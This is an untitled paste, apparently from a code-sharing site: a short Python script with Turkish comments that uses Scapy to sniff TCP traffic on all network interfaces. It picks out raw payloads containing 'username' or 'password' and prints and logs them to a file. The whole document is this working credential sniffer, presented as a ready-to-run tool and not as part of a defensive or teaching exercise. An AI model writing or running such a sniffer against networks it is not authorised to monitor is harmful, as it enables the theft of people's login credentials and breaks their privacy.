Untitled
from scapy.all import * # Scapy kütüpphanesini içeri aktarır ağ paketlerini analiz etmek için kullanılır. import os # Pythonun işletim sistemi ile etkileşim kurmasını sağlar. import datetime # Tarih ve saat bilgisi almak için kullanılır. # Log dosyasının adı.veriler bu dosyaya kaydedilecektir. LOG_FILE = "network_traffic.log" def packet_callback(packet): """ Paketleri işleyen ve hassas bilgileri kaydeden callback fonksiyonu. Bu fonksiyon her paket yakalandığında çağrılır. """ # Paket TCP protokolü içeriyor ve ham veri (Raw) katmnı varsa işleme alınır. if packet.haslayer(TCP) and packet.haslayer(Raw): # Ham veri (Raw) kısmını alır ve decode eder hatalı karakterle yok sayılır. payload = packet[Raw].load.decode(errors="ignore") # Ham veride 'username' veya 'password' anahtar kelimelerinden birinin olup olmadığını kontrol eder. if "username" in payload or "password" in payload: # Eğer hassas veri bulunduysa, tarih ve saat ile birlikte log girişi oluşturulur. log_entry = f"[{datetime.datetime.now()}] Hassas Veri Bulundu: {payload}\n" # hassas veriyi ekrana yazdırır. print(log_entry) # veriyi log dosyasına ekler. Dosya yoksa oluşturulur. with open(LOG_FILE, "a") as log_file: log_file.write(log_entry) def main(): """ Paket dinleyiciyi başlatan ana fonksiyon. Bu fonksiyon, ağda paketleri dinlemeye başlar ve 'packet_callback' fonksiyonunu çağırır. """ print("Paket sniffer'ı başlatılıyor...") # Başlatıldığında ekrana yazdırılır. try: # Tüm ağ arabirimlerinde paketleri dinlemeye başlar. # 'prn=packet_callback' her paket yakalandığında 'packet_callback' fonksiyonunu çağırır. sniff(prn=packet_callback, store=0) except KeyboardInterrupt: # Kullanıcı CTRL+C ile programı durdurursa, burada sniffer'ın sonlandırıldığı mesajı yazdırılır. print("\nSniffer sonlandırıldı.") # Bu, dosyanın doğrudan çalıştırılıo çalıştırılmadığını kontrol eder. Eğer doğrudan çalıştırılıyorsa, main() fonksiyonu çağrılır. if __name__ == "__main__": main() # Paket dinleyiciyi başlatır.
Leave a Comment